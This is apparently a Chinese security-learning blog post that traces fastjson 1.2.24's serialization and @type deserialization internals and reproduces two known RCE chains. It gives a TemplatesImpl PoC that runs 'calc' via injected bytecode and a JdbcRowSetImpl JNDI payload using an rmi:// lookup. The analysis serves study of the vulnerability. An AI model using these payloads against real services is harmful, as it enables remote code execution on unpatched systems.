fastjsonのfirst

什么是fastjson?

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

JavaBean是一个遵循特定写法的Java类,是一种Java语言编写的可重用组件,它的方法命名,构造及行为必须符合特定的约定:

1、这个类必须具有一个公共的(public)无参构造函数;
2、所有属性私有化(private);
3、私有化的属性必须通过public类型的方法(getter和setter)
暴露给其他程序,并且方法的命名也必须遵循一定的命名规范。
4、这个类应是可序列化的。(比如可以实现Serializable 接口,用于实现bean的持久性)

但是尝试反序列化发现,其实是可以设置public的,如果有set再调用set,没有就直接改的它的值

将类转为 json

maven依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

在这里我们最常用的方法就是 JSON.toJSONString() ,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:

  • 序列化特性:com.alibaba.fastjson.serializer.SerializerFeature,可以通过设置多个特性到 FastjsonConfig 中全局使用,也可以在使用具体方法中指定特性。
  • 序列化过滤器:com.alibaba.fastjson.serializer.SerializeFilter,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。
  • 序列化时的配置:com.alibaba.fastjson.serializer.SerializeConfig ,可以添加特点类型自定义的序列化配置。

序列化

首先定义一个user类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

public class User {
private String name;
private int age;
public User() {
}

public User(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("调用了getName");
return name;
}

public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}

public int getAge() {
System.out.println("调用了getage");
return age;
}

public void setAge(int age) {
System.out.println("调用了setAge");
this.age = age;
}


@Override
public String toString() {
return "user{" +
"name='" + name + '\'' +
", age="+age+
'}';
}
}

先看看序列化会调用什么

1
2
3
4
5
6
7
8
9
10
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
public static void main(String[] args) {
System.out.println(JSON.toJSONString(new User("baicany",18), SerializerFeature.WriteClassName));
}
}

运行结果

1
2
3
调用了getage
调用了getName
{"@type":"org.example.User","age":19,"name":"baicany"}

参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。FastJson的漏洞就是他的这一个功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法, 后面会详细分析。

发现序列化会用get方法来获取值,跟进序列化方法如何触发getter方法

1
2
3
4
5
6
7
8
9
10
11
public static String toJSONString(Object object, int defaultFeatures, SerializerFeature... features) {
SerializeWriter out = new SerializeWriter((Writer) null, defaultFeatures, features);

try {
JSONSerializer serializer = new JSONSerializer(out);
serializer.write(object);
return out.toString();
} finally {
out.close();
}
}

JSONSerializer的构造方法

1
2
3
4
public JSONSerializer(SerializeWriter out, SerializeConfig config){
this.out = out;
this.config = config;
}

我们在调用toJSONString调用的SerializeConfig.globalInstance赋值给config,而globalInstance按名字来看是全局SerializeConfig共有的一个对象,而在global实例化时候会创建一个map,存储我们一下默认的ObjectSerializer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
serializers = new IdentityHashMap<Type, ObjectSerializer>(1024);

try {
if (asm) {
asmFactory = new ASMSerializerFactory();
}
} catch (NoClassDefFoundError eror) {
asm = false;
} catch (ExceptionInInitializerError error) {
asm = false;
}

put(Boolean.class, BooleanCodec.instance);
....
}

而我们自定义的类并不在这些put里面

继续跟进serializer.write(object)会尝试调用我们需要类的ObjectWriter,就是之前put存储的,但是都不存在,最后就会create我们类的

1
2
3
if (create) {
put(clazz, createJavaBeanSerializer(clazz));
}

它会提取类当中的BeanInfo(包括有getter方法的属性)并传入createJavaBeanSerializer继续处理

1
2
3
4
5
6
7
8
   private final ObjectSerializer createJavaBeanSerializer(Class<?> clazz) {
SerializeBeanInfo beanInfo = TypeUtils.buildBeanInfo(clazz, null, propertyNamingStrategy);
if (beanInfo.fields.length == 0 && Iterable.class.isAssignableFrom(clazz)) {
return MiscCodec.instance;
}

return createJavaBeanSerializer(beanInfo);
}

这个方法也最终会将二次处理的beaninfo继续委托给createASMSerializer做处理,而这个方法其实就是通过ASM动态创建一个类

1
2
3
4
5
try {
ObjectSerializer asmSerializer = createASMSerializer(beanInfo);
if (asmSerializer != null) {
return asmSerializer;
}

getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中它会根据字段的类型调用不同的方法处理

然后再tostring方法中就会调用对应的get方法

将 json 反序列化为类

将 json 数据反序列化时常使用的方法为parse()parseObject()parseArray(),这三个方法也均包含若干重载方法,带有不同参数:

  • 反序列化特性:com.alibaba.fastjson.parser.Feature
  • 类的类型:java.lang.reflect.Type,用来执行反序列化类的类型。
  • 处理泛型反序列化:com.alibaba.fastjson.TypeReference
  • 编程扩展定制反序列化:com.alibaba.fastjson.parser.deserializer.ParseProcess,例如ExtraProcessor 用于处理多余的字段,ExtraTypeProvider 用于处理多余字段时提供类型信息。

一些 fastjson 功能要点

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;

import com.alibaba.fastjson.JSON;

public class test {
public static void main(String[] args) {
String json = "{\"@type\":\"org.example.User\",\"age\": 19,\"name\":\"baicany\"}";
String json2 = "{\"age\":3,\"name\":\"baicany\"}";
System.out.println(JSON.parseObject(json));
System.out.println(JSON.parseObject(json,User.class));
System.out.println(JSON.parseObject(json2, User.class));
System.out.println(JSON.parseObject(json2));
System.out.println(JSON.parse(json2));
System.out.println(JSON.parse(json));
}
}

在使用JSON.parseObject方法的时候只有在第二个参数指定是哪个类 才会反序列化成功。在字符串中使用@type:com.liang.pojo.User指定类 会调用此类的get和set方法 但是会转化为JSONObject对象。
而使用JSON.parse方法 无法在第二个参数中指定某个反序列化的类,它识别的是@type后指定的类
而且可以看到 凡是反序列化成功的都调用了set方法,但是只有parseObject(str)调用了返回值为string,get方法,因为

1
return (JSONObject) JSON.toJSON(obj);

fastjson反序列化漏洞复现

TemplatesImpl

跟进我们老朋友的getOutputProperties方法,发现会调用newTransformer方法,跟进发现会实例化TransformerImpl类

1
2
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

跟进getTransletInstance方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}

如果我们name为null,而_class为null的话就会触发defineTransletClasses方法,这里想起defineclass

提下之前学过的

之前学过加载字节码,Java都经历的是下面这三个方法调用

1
ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClass

loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
所以真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中

跟进这个方法

1
2
3
4
5
6
7
8
9
10
11
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

当我们code不为null的时候,才能调用我们的TransletClassLoader构造方法跟进这个方法,(_tfactory这里不能为null了不然就会报错)

1
2
3
4
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

发现调用了super,发现这个类是classload的子类,并且从写了loadclass方法并且为默认属性,且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。这样我们就能外部调用这个方法

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

继续跟进

1
2
3
4
5
6
7
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}

发现判断我们byte字节码里面的类是不是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

1
2
3
4
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

如果没有是它子类的字节码就会扔出错误,所以需要不扔出错误,就父类得刷它,继续跟进

1
2
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();

发现会调用默认的参数方法并且实例化

所以到这里的条件应该是name不为null,class为null,而byte字节码有它该有的父类,_tfactory不为null

所以我们要创建一个这样的类调用它的getOutputProperties方法

而我们的这4个字段都是私有的,且都没有set方法,所以设置Feature.SupportNonPublicField,让它能赋值,所以payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("baicany");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] classbyte = cc.toBytecode();
String code=Base64.getEncoder().encodeToString(classbyte);
String json = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
" \"_bytecodes\": [\""+code+"\"]," +
"\"_name\": \"baicany\","+
" \"_tfactory\": {}," +
"\"_outputProperties\": {},"+
"}";
JSON.parse(json, Feature.SupportNonPublicField);
}
}

JdbcRowSetImpl

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpljavax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。

搜索一下哪里调用了lookup方法,发现在这个类里面只有connect方法

1
2
3
4
5
6
7
8
9
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
}

这里要调用lookup,里面的值是DataSourceName,并且conn为null

来看看datasource有对应的set方法

1
public void setDataSourceName(String var1) throws SQLException {

可以控制它的值,现在就看那能调用了connect方法,并且是set,get方面里面触发 发现2个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}

public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

但是getDatabaseMetaData返回值并不是那5个之一所以,payload

1
2
3
4
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:9999/baicany\",\n" +
" \"autoCommit\":true}";
JSON.parse(json);

分析

跟进parse方法

1
2
3
4
5
6
7
8
9
10
11
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

在创建DefaultJSONParser对象时候,会调用重载方法this(input, new JSONScanner(input, features), config);

在创建jsonscanner的实例的时候,发现会将我们第一个input的字符放进ch变量里

1
2
3
4
5
6
7
8
9
10
11
 this.text = input;
this.len = this.text.length();
this.bp = -1;
this.next();
if (this.ch == '\ufeff') {
this.next();
}
public final char next() {
int index = ++this.bp;
return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}

}

发现如果ch={就会token等于12,并且将ch的值变成下一个字符

继续跟进parse方法,switch (lexer.token())所以我们这是12,如果是12的话就会

1
2
3
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);

跟进parseobject

1
2
3
4
5
6
7
8
9
10
for (;;) {
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}

会去除空字符,然后获取ch的值,判断feature是否运行任务逗号,如果有第一个为,的话就获取下一个字符

1
2
3
4
5
6
7
8
9
10
boolean isObjectKey = false;
Object key;
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
}

如果ch是”的话就会按函数名来看会获取下个”的字符,就是把双引号的东西取出来,取完后判断下个字符是不是:然后到

image-20231124165834921

判断key是否等于@type,等于则获取@type中的值,接着则是调用反射将这个类名传递进去获取一个方法获取类对象。跟进classload

1
2
3
4
5
Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

如果我们存在map里面有这个类的字节码就直接返回,没有就到下一步

1
2
3
4
5
6
7
8
9
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

然后发现 [ 开头的会用数组实例化,而L开头分号结尾的会去除,再加载字节码,而且会存在我们类的字节码到一个map中,就和前面对应了

1
2
3
4
5
6
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}

中间不难分析,然后继续跟进到

1
2
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

获取我们反序列化器,然后反序列化,调试跟进到第二个deserialze的重载方法,跟到

image-20231124174303755

直接就获取到了autoCommit,但是怎么获取的

是在构造方法被赋值的,也就是实例化对象的时候

1
2
3
4
5
6
7
8
9
10
11
public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo){
this.clazz = beanInfo.clazz;
this.beanInfo = beanInfo;

sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
for (int i = 0, size = beanInfo.sortedFields.length; i < size; ++i) {
FieldInfo fieldInfo = beanInfo.sortedFields[i];
FieldDeserializer fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);

sortedFieldDeserializers[i] = fieldDeserializer;
}

看看这里info是什么返回上层,JavaBeanDeserializer是在config.getDeserializer被创建的,跟进一下

image-20231124212940088

1
2
3
4
5
6
7
return this.getDeserializer((Class)type, type);

derializer = createJavaBeanDeserializer(clazz, type);

beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);


在build哪里有一个逻辑就是

1
2
3
4
5
6
7
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
continue;
}
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
continue;
}

判断方法是否是void返回类型,返回类型是否是声明的返回类型,还有参数只有1个才能进入才能进入下面的步骤,下面有个是先判断if (!methodName.startsWith("set"))然后处理set过后首字母不同的情况Field field = TypeUtils.getField(clazz, propertyName, declaredFields);然后判段这个set方法有没有对应的字段,然后判断是不是布尔类型的,再往后就是判断

中间一段是用注解来添加fileinfo的,再到下一段

又是遍历所有方法,来获取返回值是那5个的get方法,get方法就比set的简陋了

image-20231125225831864

最后就会

1
return new JavaBeanInfo(clazz, builderClass, defaultConstructor, null, null, buildMethod, jsonType, fieldList);

然后将我们filedinfo复制到sortedFields中

1
2
3
4
5
6
fields = new FieldInfo[fieldList.size()];
fieldList.toArray(fields);

FieldInfo[] sortedFields = new FieldInfo[fields.length];
System.arraycopy(fields, 0, sortedFields, 0, fields.length);
Arrays.sort(sortedFields);

然后回到我们,直接调试到,我们需要的地方就行了

image-20231126210022825

1
boolean match = parseField(parser, key, object, type, fieldValues);

smartMatch(key);会将 - _替换为空,也在这里找到我们需要的类的信息,因为从0开始遍历我们存储的方法,所以即是一个类既有set又有get也会先调用set

然后到setValue(object, value);如果值不为null,方法存在机会用method.invoke(object, value);反射的方法来调取类的方法

image-20231126221510467

当我们开了SupportNonPublicField,就能反射改这个值了

1
2
3
if (field != null) {
field.set(object, value);
}

学习

https://www.cnblogs.com/nice0e3/p/14601670.html

https://www.javasec.org/java-vuls/FastJson.html